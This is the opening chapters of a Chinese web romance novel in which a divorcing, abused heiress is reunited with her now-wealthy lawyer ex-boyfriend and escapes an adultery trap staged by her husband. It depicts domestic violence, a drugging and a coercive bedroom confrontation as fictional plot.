《分手六年,贺律师又沦陷了》 第一卷 第1章 睡腻了,分手吧 “睡腻了,分手吧。” 六年前,温家大小姐温昭宁丢下这句话,决绝甩了当时一穷二白的贺淮钦,转身去和市长的公子陆恒宇联姻。 六年后,温家破产,温昭宁被丈夫陆恒宇家暴,她决定离婚,在她最狼狈最落魄的时候,她和贺淮钦又重逢了。 咖啡馆。 温昭宁戴着墨镜和鸭舌帽坐在落地窗边的位置,频频看表。 今天,她约了自己的离婚代理律师见面,但不知为何,过了约定的时间,律师还没有来,她正准备打个电话问问,咖啡店的门被推开,一个高大的男人走了进来。 男人灰色的西装三件套,黑衬衫,条纹领带,气质矜贵。 从他进门开始,咖啡馆的几个女店员频频向他投去目光,的确,这样顶极骨相的建模脸,除了在娱乐圈,现实中很难见到。 别人是被这张脸帅一大跳,温昭宁却是被这张脸吓一大跳。 因为进来的这个男人正是当年被她以一句“睡腻了”打发的初恋前男友,贺淮钦。 六年未见,贺淮钦像是变了一个人。 印象中的贺淮钦总是穿一件白色的亚麻衬衫,气质温和干净,像个邻家大哥哥,而眼前的男人,早已不复当初的少年感,他面部轮廓越发硬朗英挺,眼神冷厉中透着侵略性,像个危险的捕猎者。 温昭宁的心脏在胸腔里疯狂撞击,她慌张地压了压自己的帽檐,祈祷贺淮钦千万不要看到她。 她昨天刚被丈夫陆恒宇打了,现在脸上都是伤,她不想让贺淮钦看到这样狼狈的自己,她宁愿贺淮钦对她最后的记忆永远停留在分手时她跋扈不讲理的样子,也不愿让他窥见她在婚姻里一败涂地的弱者形象。 可天不遂她愿,贺淮钦径直走到她的桌前,他还拉开了她对面的椅子,施施然坐了下来。 “不好意思,堵车。”贺淮钦说。 温昭宁:“???” 贺淮钦约的是谁?他是坐错位置了吗? “先生。”温昭宁低着头,鸭舌帽的帽檐和墨镜挡住她大半张脸,她故意紧着嗓子变音,“你是不是认错人了?这位置不是你的。” “温大小姐,别装了,你化成灰我都认识你。” 温大小姐。 温昭宁僵住,温家破产后,已经很久没有人这样喊过她了,这个称呼曾经是贺淮钦的最爱,他很喜欢在两人亲密时,紧抱着她,用沙哑含混的嗓音,一遍遍在她耳边喊她“温大小姐”。 “温大小姐,可以进来了吗?” “温大小姐,还要不要?” “温大小姐,说你爱我。” 那些耳鬓厮磨、极致占有的回忆,这一刻全都涌了上来,只是,今天的这声温大小姐,从贺淮钦嘴里说出来,没有半分往日的旖旎,只有昭然的恨意。 “这位先生,我不是你要找的人,请你离开这个位置,我约的人快来了。”温昭宁执意装不认识。 “冯玮不会来了。”贺淮钦点了杯咖啡,慢条斯理地说:“你的离婚官司,将由我为你负责。” 温昭宁猛地抬起头:“为什么?我明明和冯律师约好了?” “终于舍得抬头看我了。” 温昭宁一愣。 隔着墨色的镜片,贺淮钦的眼神冷静莫测,尽显上位者的气势。 她顾不上许多,追问道:“冯律师为什么不来?” “冯玮执业期间多次违规操作,今天已被律所除名。” “昨天晚上还在联系,今天就被停止执业,怎么可能会有这么巧的事情?贺淮钦,你故意的吧?” “我为什么要故意?为了来见你吗?”贺淮钦冷嗤一声,“温昭宁,你是不是觉得我对你余情未了?” 温昭宁当然不会自作多情到这个份上,她知道贺淮钦恨她,没有一个男人会对碾碎自己自尊的女人念念不忘。 “我不是这个意思。” “那你什么意思?” “我的意思是,你可能就是故意来看我笑话的。” “算你有自知之明。” 他承认了,他果然是来看她笑话的。 温昭宁哪怕有所意料,听他亲口承认,心口还是会漫起痛意。 她嫁进陆家的这六年,夫妻不睦,公婆不喜,娘家破产后,陆家人越发不将她放在眼里,她的日子过得就像钝刀磨肉,曾经独属于温大小姐的骄傲被现实磨得精光,身边想看她笑话的人多了去了,但要说真正有资格看她笑话的,那的确只有贺淮钦。 “既然你想看我笑话,那我就干脆让你看个够。” 温昭宁摘了墨镜和鸭舌帽。 她今天没化妆,白皙的皮肤就像一张最干净的画布,让额角的那点红和眼角的青紫色淤痕显得越发刺眼。 贺淮钦看到她脸上的伤,目光骤然变暗,指关节紧紧握住咖啡杯,手背上青筋毕现。 陆恒宇这个畜生! “看爽了吗?”温昭宁声音在颤抖,“如果不够爽,我还可以给你讲解,额头这个疤,是烟灰缸砸的,眼角这里,是……” “够了!闭嘴!”贺淮钦觉得胸口像被锐器击中,痛意在不断蔓延,“这都是你自己的选择!是你咎由自取!” “对,这是我自己的选择,一切都是我活该。而你,现在看到我过得不好,也可以释怀了。”温昭宁眼眶发热,望着贺淮钦,“当年的事是我不对,我向你道歉,从今往后,我们两清了。” 她说完,拿上自己的墨镜和鸭舌帽,逃似地快步离开。 贺淮钦坐在原地,目光追随着她的背影,情绪翻涌如潮,几乎下一秒就要将他覆灭。 他的手机忽然响起来。 “淮钦,你在哪?” “见客户。” “你刚回国哪来的客户?”电话那头的人反应了几秒,“不是吧,你真把冯玮手里那个离婚官司接过去了?拜托,你堂堂律所大老板,什么时候连这种鸡毛蒜皮的小案子都接了?” 贺淮钦没接他的话,只是说:“帮我个忙。” “什么?” “查一下陆恒宇。” 第一卷 第2章 旧情难忘 温昭宁走出咖啡馆,腿都软了。 这六年,贺淮钦这个名字一直藏在她心里最隐秘的角落,但因为当年分开得太痛,她从来没有期待过他们会重逢。 今天猝不及防见到,她的心彻底乱了。 手机响起来,女儿青柠软软糯糯的声音让温昭宁平复了心绪。 “妈妈,你什么时候回来?” “宝贝,妈妈马上就回来了。” 温昭宁回到西城别苑,这是闺蜜苏云溪的房子。 昨晚,陆恒宇打伤温昭宁后,就不知所踪,警察也联系不上他,温昭宁怕他又回来伤害自己和青柠,连夜带着女儿逃离了陆家,借宿在苏云溪这里。 温家破产后,曾经的朋友都离她而去,只有苏云溪仍和从前一样,一个电话就能对她伸出援手。 门一打开,青柠就跑过来,抱住了温昭宁。 “妈妈!” “宝贝。”温昭宁蹲下来,正准备亲一亲女儿的额头,却对着她和贺淮钦七八分像的脸庞,愣了神。 青柠很小的时候,周围的人就开始夸她漂亮,大家都说她是遗传了温昭宁的美貌,温昭宁也一直觉得青柠长得像她,直到今天再次见到贺淮钦,她才恍然惊觉青柠越长越像贺淮钦了。 “妈妈你怎么了?” “没事。”温昭宁掩住情绪,“青柠在溪溪姨姨家有没有乖乖听话。” “有有有,青柠可乖了,刚刚还帮我给小植物浇水了呢。”苏云溪从洗手间里走出来,“怎么样宁宁,律师怎么说?” 温昭宁对苏云溪使了个眼色,先把女儿带进房间,给了她一本安静书。 “青柠自己玩一会儿,妈妈和溪溪姨姨聊一会儿天,等下就进来看你好不好?” “好。” 青柠最喜欢玩安静书,她能一个人角色扮演玩好久。 温昭宁回到客厅,苏云溪已经准备好水果在等她了,温昭宁走过去,把在咖啡馆遇到贺淮钦的事情,告诉了苏云溪。 “什么?你说贺淮钦要负责你的离婚官司?他堂堂耀华的负责人,会接离婚这样鸡毛蒜皮的小官司?” “耀华负责人?” “你不知道?”苏云溪从手机上翻出一篇人物专访,“你看看,贺淮钦现在可是耀华国际律所的首席执行官!耀华你听说过吗?” “就是那个国际顶级律所?” “对对对,就是它,据传耀华在全球有三十多个分所,两千多名律师,年营收超十亿美元!” 温昭宁看了一眼报道,才知道当年那个穷小子,如今已经是红圈所鼎鼎有名的大佬,难怪,他现在举手投足间都是财富淬炼出来的矜贵气质。 真是三十年河东,三十年河西,风水轮流转。 “宁宁,他是不是对你旧情难忘啊?” “当然不是,他就是来看我笑话的。” “拜托,以贺淮钦如今的身份地位,时间有多值钱啊!他如果不是对你旧情难忘,他会特地花时间来看你笑话?” “我都结婚生孩子了,以他现在的身份地位,要什么女人没有,怎么还会对我旧情难忘?” “宁宁,其实我一直想问,当年到底发生了什么事情,你明明那么喜欢贺淮钦,追了他这么久才追到,怎么忽然就把他甩了,去嫁了陆恒宇这个渣男?” 温昭宁沉默。 当年已远,现在回溯过去,已经没有任何意义。 “算了算了,我们不说这个。”苏云溪见她似乎不愿再提,也没有强迫她,赶紧转开了话题:“你接下来打算怎么办?” “重新找律师,无论如何,我得先把婚离掉。” 第一卷 第3章 紧张什么 温昭宁失眠了。 她原本心里就压了很多事,贺淮钦的出现,更让她心绪难宁。 凌晨三四点的时候,她稍稍睡着了一会儿,很快,又被早起的闹钟叫醒。 温昭宁摁掉闹钟就进了卫生间洗漱、化妆遮掩伤口,收拾完自己,她又去叫女儿青柠起床。 “妈妈,你这两天为什么一直戴着帽子和墨镜呀?”青柠好奇。 “因为妈妈做了一个美容项目,医生说需要这样把脸完全遮挡起来,才能恢复得更快。” 陆恒宇家暴的那晚,青柠睡着了并没有看到,温昭宁也庆幸孩子没有亲眼目睹,如果可以,她希望她的女儿永远不要有这样创伤性的经历。 “妈妈已经够漂亮了,不用再做美容了。”青柠搂住温昭宁的脖子,“妈妈在青柠心里,是最美的妈妈。” 温昭宁听得心里暖暖的。 青柠从小就乖巧懂事,她的出生治愈了温昭宁当时千疮百孔的心,女儿是老天爷残忍将温昭宁推进黑暗后又心软赐予她的救赎。 “谢谢宝贝的夸奖,在妈妈心里,你也是最美的宝贝,我们起来准备去上幼儿园了好不好?” “好。” 温昭宁亲了女儿一口,带她去换衣服洗漱。 吃完早餐,母女俩聊着天去楼道里等电梯。 电梯门一打开,温昭宁霎时愣住了,贺淮钦竟然站在轿厢里。 贺淮钦穿一套剪裁质感完美的深灰色西装,衬衫的领口挺阔雪白,恰好托出他利落的下颔线,他仅仅只是站在那里,一种沉稳的力量感就油然而生。 温昭宁有些紧张地握紧了小青柠的肩膀。 贺淮钦为什么会在这里? 难道,他也住在这栋楼里? 不,应该不会,苏云溪这套房子虽然开盘时也定位为中高档住宅,但年份有些久了,小区配套设施都稍显老旧,以贺淮钦现在的身份和地位,他肯定有更好的住处才对。 四目相对,贺淮钦只掠了温昭宁一眼,目光没有停留,快速挪开了。 “妈妈,我们不进去吗?”青柠仰头看着温昭宁。 “进……进。” 温昭宁拉着青柠走进电梯,电梯轿厢宽阔,但她刻意把青柠推进了离贺淮钦最远的角落,用身体挡住了女儿的脸。 电梯降落,数字缓慢地跳动着,每一秒都像一个世纪那么漫长。 温昭宁连呼吸都变得小心翼翼起来,但其实,贺淮钦根本连看都没有看青柠一眼。 也是,他厌恶她,又怎么会去注意她的孩子。 温昭宁刚放松警惕,青柠手中玩耍的彩虹弹力球忽然掉落,滚到了贺淮钦的脚边。 “妈妈,我的彩虹球!彩虹球掉了!” 温昭宁:“……” 真是怕什么来什么。 青柠的小手从温昭宁这堵肉墙的缝隙中伸出来,想要去够,却根本够不着。 贺淮钦瞥了一眼,俯身捡起那颗弹力球,递还给青柠。 温昭宁看着他们的大手和小手碰到一起,冷汗滋滋往外冒。 他们甚至连手型都长得那么像! “谢谢叔叔。”青柠冲着贺淮钦甜甜地笑。 贺淮钦人机似的面无表情地点了下头。 青柠还想说什么,温昭宁赶紧伸手捂住了她的嘴。 终于,一楼到了,电梯“叮”的一声,如同天籁。 贺淮钦站在前面,但因为他要去地下车库,所以他站着没动,温昭宁揽住青柠,侧身与贺淮钦擦肩而过,逃似的冲出电梯。 电梯门重新合上,继续下行。 小青柠回头看了一眼,轻声问:“妈妈,刚才电梯里碰到的那个叔叔是坏人吗?” “青柠为什么这么问呢?” “因为刚才你一直挡着我,你的手心都在冒汗?” 温昭宁这才意识到,孩子感知到了她刚才的紧张。 “不是的青柠,刚才那位叔叔他不是坏人,但他是陌生人,妈妈说过,我们和陌生人也要保持一定的距离,对吗?” “对,可既然只是普通的陌生人,妈妈你紧张什么?” “妈妈只是……只是怕你迟到,快快快,再聊你幼儿园要迟到了。” 青柠的思绪顺利被转移:“我不要迟到,我要小红花!” 第一卷 第4章 你女儿很漂亮 贺淮钦的车子驶出地下车库,在街道的十字路口,他又看到了温昭宁母女。 一大一小的两个人儿,手牵着手,快步穿梭在梧桐树的阴影下,那个孩子,约莫五六岁,扎着两个羊角辫,发绳上的小樱桃在晨光里微微发亮。 “贺淮钦,我们以后生个女儿好不好?我每天给她扎辫子,你每天送她去幼儿园,我要让她开心快乐地在我们身边长大。” “好,生个女儿像你最好。” “女儿像爸爸。” “像我也好。” 记忆像被撬开的陈年木箱,尘埃在光柱里翻涌。 可后来呢? 后来,她为别人生了女儿…… 温昭宁把青柠送到幼儿园,她站在门口,看着女儿走进教室才放心转身。 幼儿园对面的马路上,停着一辆库里南。 温昭宁起初以为是哪个家长送孩子,没有在意,可当她穿过马路,黑色的库里南像一头沉默的巨兽,碾过路边的积水,精准地停在她的身旁。 车窗缓缓降下,驾驶座赫然坐着贺淮钦,他英俊的侧脸在昏暗的光线下显出几分冷漠。 “温大小姐。”他扬声喊道,语调拖长,带着毫不掩饰的戏谑。 “你怎么在这里?” “路过。” 既然只是路过,温昭宁也无话可说。 她迈步想走,就听贺淮钦再次开口:“你女儿很漂亮。” “……” 温昭宁心头一紧,贺淮钦好端端地为什么这么说? 难道,他看出什么来了? “我女儿漂亮随我,不行吗?” 贺淮钦眼眸一深,随她,随她当然是无可置疑的。 当年,清台大学城方圆几里,温大小姐的美貌谁人不知谁人不晓? 见过她的人都说,温昭宁身上有种不容忽视的光芒,那种光芒不似月光清冷的辉,而像盛夏正午的阳光,热烈张扬,明媚坦荡,她笑起来更是动人,眼睛弯成明亮的月牙,梨涡浅显,灵动又风情万种。 那时候的温大小姐,是无数男人心中的女神。 “我只是夸一下你女儿,你紧张什么?” “我没紧张,你哪只眼睛看到我紧张了?” 温昭宁心虚得只想快点从贺淮钦的视线里逃离。 贺淮钦见她又要走,长臂从库里南的车窗往外一横,牢牢握住了她的臂膀。 “又想逃?当年像狗皮膏药一样粘着我的温大小姐,如今怎么一见我就逃?”他修长的手指似铁钳,隔着薄薄的衣衫,温昭宁能清晰地感受到他指关节的力量和掌心的灼热。 库里南太惹眼,周围不断有人朝他们望过来。 “贺淮钦,这是我女儿的幼儿园,你在这幼儿园门口和我拉拉扯扯,到底想干什么?” “不干什么,就是通知你一下,你昨天的道歉,我不接受。”贺淮钦说着,手忽然猛地收拢,温昭宁猝不及防,整个人撞在驾驶座的车门上,贺淮钦顺势按住了她的后颈,他从车窗里微微探出头,伏在温昭宁耳边低语:“还有,温大小姐,你没资格说两清。” 他话落,又毫无预兆地松了手。 温昭宁失去贺淮钦拽着她的力道,一下跌坐在地上。 她正狼狈。 库里南的引擎发出一阵低吼,扬长而去,徒留她一个人坐在地上吃了一嘴的尘土。 温昭宁:“贺淮钦,你大爷的!” 这人有病吧!一大早找她晦气! 第一卷 第5章 诬陷他 温昭宁从幼儿园回来,就开始重新联系律师,为了避开贺淮钦,她有意避开了耀华律所的所有离婚律师,可她找了一圈下来,发现沪城几个有名气的律所,都不愿意接她的离婚官司。 也是,陆恒宇的父亲是一市之长,有权有势,没有哪个律师敢为了一场离婚官司的费用去得罪陆家。 温昭宁打了一天的电话,终于在傍晚时联系到启恒律所一位名叫孙玲的女律师,孙律师表示愿意接她的离婚官司。 两人约定了傍晚在西城茶庄见面,地方是孙律师选的,她说那里比较安静。 温昭宁把青柠托付给苏云溪后,打车去赴约。 她到的时候,孙玲已经到了。 “温女士,路上辛苦,先喝口茶,暖暖身子。”孙玲笑意柔和,亲和感十足。 她执起紫砂壶,一道橙红透亮的茶汤注入温昭宁的茶杯里。 “谢谢。” 温昭宁捧着茶杯,并没有马上喝,直到看见孙玲将杯中的茶一饮而尽,她才抿了一口。 两人相互寒暄了几句,开始进入主题。 孙玲了解过温昭宁和陆恒宇的婚姻情况后,问她:“你说你丈夫对你家暴,有没有直接的证据,比如监控视频或者人证。” 温昭宁摇头:“没有。” 这是陆恒宇第一次对她家暴,她事前并不知道陆恒宇会打她,自然没有提前录像。 “我虽然没有直接证据,但我报警了,有出警记录。” 孙玲看了一眼温昭宁的出警记录:“警察来的时候,你丈夫不在?” “对,他知道我要报警,提前跑了。” “也就是说家暴是你单方面报警,并且没有证据。”孙玲挑眉,“那你怎么证明你丈夫真的对你实施家暴了呢?有没有可能,他当时根本不在场,是你自导自演诬告。” 温昭宁怔住,寒意瞬间爬上脊背:“你什么意思?” “我的意思是,陆先生其实并没有对你家暴,是你为了离婚时分得更多的财产,诬陷他。” “我没有!” “有没有你自己心里最清楚。” “如果孙律师是这样随意揣测客户的律师,那我觉得我们没什么可谈的了。” 温昭宁拿上自己的包要走,刚一起身,就感觉头晕目眩,视线也变得越来越模糊,孙玲那张笑意盈盈的面容在她眼前晃动、重影。 “我……头好晕,你在茶里下药了……” “我没有,温女士你可不要又来诬陷我。”孙玲绕过来,扶住了温昭宁的胳膊,“你可能是低血糖了,休息一下就好了。” 天旋地转。 温昭宁软下去,后脑磕在坚硬的椅子扶手上,并不太疼,因为麻木感正迅速席卷全身,在彻底失去意识前,她看到孙玲站在她身边,居高临下地看着她,脸上已经没有了半分温柔笑意,只剩下任务达成后的漠然。 “已经确认过了,她没有家暴证据。”孙玲带着点邀功的语气,“按您吩咐,人已经倒了……” 温昭宁恍然,原来这个女人,是陆恒宇派来的人。 第一卷 第6章 帮帮我 温昭宁再次醒来,人在一个陌生的房间里。 她的头很痛,眼皮沉得抬不起来,缓了许久,模糊的视线才逐渐对焦。 这是一个极其宽敞的房间,床头悬着一幅巨大的油画,天花板是纯色的,吊顶嵌着一圈隐藏式灯带,此刻是关闭状态,中央垂下的吊灯,设计简洁,冷冰冰反射着卫生间透出来的光。 深灰色的窗帘严丝合缝地拉拢,将外界的光线彻底隔绝,让人无法判断此刻是白天还是黑夜。 温昭宁从床上坐起来,被子滑落的刹那,她发现自己没穿衣服,她原本穿得那套衣服,被人脱了胡乱地扔在了地上。 好在,床单平整,她除了头痛,身上也并无其他不适感。 温昭宁俯身,正要伸手去捡地上的衣服,耳边传来“咔哒”一声,房门被打开了。 有人进来了! 温昭宁的心瞬间提到了嗓子眼,她裹紧了被子望向门口。 来人逆着光,但可以看出是个高大挺拔的男人,随着男人走近,他的面容逐渐清晰——深邃的轮廓,冷峻的眉眼,竟然是贺淮钦! 这是贺淮钦的房间? 给她下药的明明是陆恒宇的人,她怎么会被送来贺淮钦的房间? 温昭宁一头雾水。 贺淮钦穿着剪裁精良的深色大衣,大衣里面是挺括的西装,他边进门边脱衣服,大衣扔到沙发上时,眼一瞥,忽然看到了床上的温昭宁。 房间里无端多了个人,他的眉头瞬间拧紧。 “你怎么在这里?” 贺淮钦锐利的目光盯着她,温昭宁裹着他的被子,长发凌乱,只露出两侧雪白的肩膀,而地毯上,是她的针织衫,牛仔裤,还有……一套浅色的内衣,像两片凋零的花瓣,突兀地躺在他的皮鞋旁。 他喉头滚了滚,挪开视线的同时,也往边上挪了一步。 “温昭宁。”贺淮钦一字一顿喊出她的名字,声音冷得像是刚从冰窖里捞出来的,“你耍什么把戏?” “我也不知道我怎么会在这里,我只记得自己被下药了。” “下药?” “是的,你能不能帮个忙……” “不能!”贺淮钦义正言辞地打断她的话,冷声拒绝:“别做梦了,我不睡有夫之妇!” 睡? 事实证明,人在无语的时候真的会笑。 哪怕温昭宁现在头痛欲裂,她还是忍不住嗤笑了声。 “贺律师,别误会,我中的是迷药,不是春药,而且,我也不想睡你。” “……” “我的意思是,你能不能帮个忙,先转过去一下,我穿一下衣服。” “……” 气氛有点尬。 贺淮钦紧抿薄唇,快速转身背对着她。 温昭宁赶紧捡起地上的衣物穿好。 这短暂静默的间隙,一阵突兀而激烈的拍门声忽然从隔壁房间传来。 “温昭宁!你这个贱人!我就知道你不安分,竟然敢跑到这里来偷人!开门!快给我把门打开!” 这声音,是陆恒宇。 “奸夫淫妇,赶紧给我滚出来,我倒要看看,是哪个野男人敢碰我陆恒宇的老婆!开门!里面的狗男女赶紧滚出来!” 隔壁房间里很快响起男人的怒吼和女人尖叫声。 温昭宁瞬间明白了过来,从孙玲给她下药,到此刻高调捉奸,这一切都是陆恒宇设下的肮脏圈套,只是不知道哪个环节出了问题,她被误送到了贺淮钦的房间里。 贺淮钦也很快了然了事情的始末。 他走到与隔壁房间相邻的墙壁旁,倾耳听了几秒,唇角勾起一抹冰冷的弧度。 “你的丈夫为了让你离婚时净身出户,真是煞费苦心了。”他刻意加重了“你的丈夫”这四个字。 温昭宁和陆恒宇结婚这么多年,从来没有感受过夫妻之间那种“一荣俱荣,一损俱损”的依存关系,但这一刻,她切切实实因为陆恒宇的卑鄙手段感觉到丢人。 当然,也有后怕。 幸亏她被送错了房间,否则,这一刻她就要被陆恒宇这个无耻之徒站在道德的制高点审判了。 隔壁的陆恒宇很快发现捉奸捉错人了。 “怎么回事?人呢?不是说温昭宁在这里偷人吗?人呢?人呢?” 外面的吵闹声停滞了几秒。 “是这里啊。” “会不会送错了,是隔壁?” 那带着怨气的脚步声往贺淮钦所住的这间房过来了。 “砰!砰!砰!” 陆恒宇开始拍贺淮钦的门。 粗暴的捶门声如同擂鼓,重重地落在温昭宁的心上。 “开门!温昭宁,你给我滚出来!奸夫淫妇,滚出来!” 温昭宁慌了,陆恒宇这人霸道跋扈,不达目的誓不罢休,一旦他想把这扇门打开,那今天就算是把门卸了,他也一定会打开。 她不能被这样“捉奸”,绝对不能。 温昭宁抬起头,看向贺淮钦。 “帮帮我……”她轻声对贺淮钦说。 贺淮钦误被卷入麻烦,眉宇间浮起一丝不耐,但他的表情很平静,甚至有些许冷漠。 他没有立刻回应,也没有任何要去开门或者采取行动的意思,只是静静地看着温昭宁。 “我为什么要帮你?” “我现在在你的房间里,我们是一根绳上的蚱蜢。” “我没碰你,我不是你的奸夫,就算他冲进来,也奈何不了我。”贺淮钦的语气带着一种事不关己的松弛,“倒是你,私自闯入我的房间,已经构成了民事侵权,属于违法行为。” 一句话,像一盆冰水,从温昭宁头顶浇下。 “温昭宁,你再不出来我就砸门了,我让所有人看看,你是怎么背着我偷人的!” 房门迟迟不开,陆恒宇似乎越发笃定了她就在这房间里。 一边是疯狗一样的渣男丈夫,一边是落井下石的前男友,温昭宁感觉自己陷入了绝境。 好好好,既然都逼她,那就别怪她玉石俱焚了。 温昭宁思索几秒,忽然大步冲到贺淮钦的面前,踮起脚尖,双手迅速地勾住贺淮钦的脖子,在他反应过来之前,用力地吻上了他颈侧裸露的皮肤。 不是浅尝辄止,而是孤注一掷的用力吮吸。 贺淮钦的身体骤然僵住了,他能清晰地感受到脖颈处那温润的带着轻微刺痛的触感,以及温昭宁身上散发出来的淡淡香气,温昭宁这一招,完全超出了他的预料。 “温昭宁!你疯了!” 贺淮钦将温昭宁推开,但来不及了,他的脖颈上,一枚新鲜的绯红印记在皮肤上快速显现。 “你没碰我,但我碰你了,你现在就是我的奸夫。”温昭宁因为用力过猛而微微喘息,脸颊泛起不正常的红晕,“贺淮钦,是一起被捉奸还是帮我,你自己看着办吧。” 她直视着贺淮钦的眼睛,嘴角勾起一抹凄艳挑衅的弧度。 贺淮钦抬手,指尖轻轻触碰到被她吻过的那片皮肤。 “很好。”贺淮钦声音低沉沙哑了几分,“温昭宁,你有种。” 第一卷 第7章 脖子上好像有东西 “开门!快开门!” 门外,陆恒宇的声音越来越不耐烦。 贺淮钦对温昭宁使了个眼色,示意她去洗手间待着。 温昭宁点点头,赶紧躲进了洗手间。 贺淮钦转身,迈着沉稳的步伐,走向那扇被砸得砰砰作响的房门,一把将房门拉开了。 门外,陆恒宇正准备抬脚踹门,见到有人开门,他的动作僵在半空。 贺淮钦扫了眼陆恒宇以及他身后两个举着手机疑似在录像的男人:“诸位,在我房间门口这样喧哗,是有什么事?” 陆恒宇没想到开门的会是这样一个气度不凡的男人,最重要的是,这个男人身上完全没有被“捉奸在床”的慌乱失措。 “我找我老婆!”陆恒宇的目光瞟向房间内,梗着脖子大喊:“温昭宁,我知道你在里面,赶紧给我滚出来!” 他喊了不算,还想进门去找。 贺淮钦抬臂一横,拦住了陆恒宇。 “陆先生,你未经我的同意,随意进入我的房间,属于违法行为。” 陆恒宇眼一眯,重新打量起贺淮钦:“你认识我?” “去年伦敦的华商大会,有幸见过陆先生一面。” 华商大会可不是一般人能参加的,陆恒宇也是沾了父亲的光,才跟着去见了见世面。 看来,眼前的男人绝非等闲之辈。 陆恒宇气势缓和了几分:“请问你是?” 贺淮钦随手递出自己的名片。 陆恒宇扫了眼名片,手心顿时冒出一圈冷汗。 他竟然是耀华律所的创始人贺淮钦! 陆恒宇早前听父亲说起过贺淮钦,这个名字在律政圈代表的不仅仅是一位成功的律师,更是深不见底的人脉,除了法律界的泰斗、司法系统的实权人物之外,贺淮钦的人脉更如同蛛网般精准地延伸至金融、地产、科技乃至更神秘的领域。 贺淮钦也绝不只是一个简单的法律顾问,更多时候,他扮演着“清道夫”和“战略家”的角色,大型集团的跨国并购案、政商两界某些见不得光的纠纷,最终都能在他的主导和运作下找到程序的瑕疵或证据的突破口,实现惊天逆转。 “原来您是耀华律所的贺律!”陆恒宇的态度瞬间一百八十度大转弯,“真是大水冲了龙王庙,抱歉抱歉,我不知道里面住的是您!” “陆先生现在还觉得你太太在我房间里吗?”贺淮钦淡淡地问。 “不不不,她一个上不了台面的女人,哪里配入您的眼啊。”陆恒宇往后退了两步,“对不起,今天是我冒犯了,希望贺律大人大量,千万别放在心上。” 贺淮钦点点头,正要关门,陆恒宇忽然瞥见了他衬衫领子后那个若隐若现的吻痕。 这痕迹绯红鲜亮,明显刚印上去不久。 “等等贺律。”陆恒宇指着贺淮钦的脖子,说得委婉,“您脖子上好像有东西。” 贺淮钦没有遮掩,反而转动脖子,大大方方将那吻痕亮给陆恒宇看:“怎么?陆先生对我的私事感兴趣?” 他的眼神带着不容置疑的强大气场,把陆恒宇那点试探压得粉碎。 “不不不,我不是这个意思。”陆恒宇连连赔笑,“我就不打扰贺律休息了,再见。” -- 温昭宁躲在洗手间,听到了贺淮钦和陆恒宇对话的全过程。 谁能想到,让她心惊肉跳的危机,贺淮钦一张名片就轻松解决了。 这件事情再一次证实,当年那个穷小子已经今时不同往日。 “出来。”贺淮钦说。 温昭宁拉开门,从洗手间里走出来。 贺淮钦站在落地窗前。 “贺律师,谢谢你帮忙。”温昭宁开口。 这句道谢,带着心虚。 毕竟,人家也不是想帮忙才帮忙的。 果然,贺淮钦的神色并没有因为她的道谢有半分波动。 “谢谢?”他轻笑一声,带着嘲弄,“把我拉进局里,就换来一声谢谢?” “那……那你想怎么样?” 贺淮钦迈步,缓缓朝她逼近。 “我不白白做人奸夫。” 话落,贺淮钦猛地伸手,一把攥住了她的手腕,力道之大,让温昭宁忍不住痛哼出声,紧接着,一股不容抗拒的力量传来,她整个人被粗暴地拽倒,重重摔进身后的大床里。 温昭宁吓了一跳,挣扎着想要坐起来,贺淮钦却已经欺身上来,他单膝抵在床沿,手臂撑在她身体两侧,将她牢牢困在他的阴影之下。 “你干什么?”温昭宁扬手去推他的胸膛,“你不是很有原则不睡有夫之妇吗?” “我的原则重要吗?”他居高临下望着她,眼眸里翻涌着被冒犯的怒意和被利用的不悦,“当年你想让我做你男朋友,就用尽一切办法让我和你交往,今天你想让我做你的奸夫,就用尽一切办法拉我下水。我们之间,从来都是温大小姐说了算不是吗?” 温昭宁被他身上的冷香和温热的气息包围,头晕目眩。 她想起当年,当年的确是她先喜欢上了贺淮钦,也是她先去招惹他的。 彼时的贺淮钦,还是温家保姆的儿子,她第一次见到贺淮钦,就是在温家的花园里,那天她正在陪她的金毛犬玩飞盘,彩色的飞盘旋转着,偏离了预定的轨道,差点砸到了来为母亲送药的贺淮钦。 贺淮钦抬手,稳稳地凌空握住了那个带着旋转力道的飞盘。 阳光下,贺淮钦穿着简单的白色衬衫,袖子微卷,手臂线条流畅,他的面容英俊,眼神像是幽深的湖水,温昭宁一见,便坠入其中。 贺淮钦将飞盘还给温昭宁,两人的指尖在交接的瞬间,不经意相触,温昭宁感觉到一阵奇妙的电流穿过她的身体,心脏疯狂跳动起来,她当下就做了一个决定,她要追他。 之后,温昭宁就开始满世界追着贺淮钦跑了。 贺淮钦一开始很坚定地拒绝了温昭宁,他知道原生家庭贫寒的自己和金尊玉贵的温大小姐不是一个世界的人,可温昭宁哪里是轻言放弃的人,贺淮钦的拒绝只让她越挫越勇。 法学院周五的宪法学课,老师清点课堂人数总会发现实到比应到多一个;食堂里,温昭宁总能碰巧在贺淮钦用餐的时间出现,碰巧坐到他对面,碰巧他舍不得打的肉菜她打多了吃不完,然后悉数拨到他的餐盘里;贺淮钦兼职打工的酒吧,她隔三差五就带着朋友去聚会,那些价格高提成也高的酒,她总是眼睛眨都不眨就点了…… 三年,她就像一缕无处不在的阳光,固执地想要照进他紧闭的心房,贺淮钦躲着,避着,烦着,却也在不知不觉中,习惯了她的存在,最后,他终于成了她的裙下臣,可她呢,在一起三个月,在他爱意最浓的时候忽然抽身,甩了他去和别人订婚。 贺淮钦的世界被她搅得一塌糊涂,他的母亲甚至因为他们的事情,遭遇车祸,失去了双腿,终身残疾。 “当年温大小姐是怎么撩拨我、睡我又抛弃我的,你都忘了吗?”贺淮钦一把掐住她的脖子,眼眶赤红,像有燃烧的恨意在翻涌,“只是今时不同往日,我已经不是你用完就可以随便丢弃的人了!” “你放开我!” 温昭宁感觉自己的脖子都要被他掐断了,她狠狠推开了贺淮钦,可她还没来得及下床,又被他拦腰抱回床里,禁锢在身下。 “逃什么?”贺淮钦抽掉领带,一边解衬衫的扣子一边沉声道,“既然已经被扣了奸夫淫妇的帽子,不偷情,岂不浪费!” 温昭宁看到了他衬衫下肌理分明的腹肌,记忆像被撬开了一道缝隙,往昔的气味涌上来。 六年前,那个汗涔涔的夏季,两个年轻的躯体在那间破旧的出租屋,笨拙的吻,迟疑的抚摸,莽撞的入侵,没有技巧,没有章法,每一次亲密的结合都源于满腔的爱意。 而此刻,同样是欢爱的姿势,却是剩下恨。 “贺淮钦,我不想和你上床!”她昂头瞪着贺淮钦,“你是不是记性不好?六年前我就说过,你,我睡腻了。” 睡腻了,这三个字就像是一道符咒,贺淮钦被刺痛,瞬间停下了手里的动作,兴致全无。 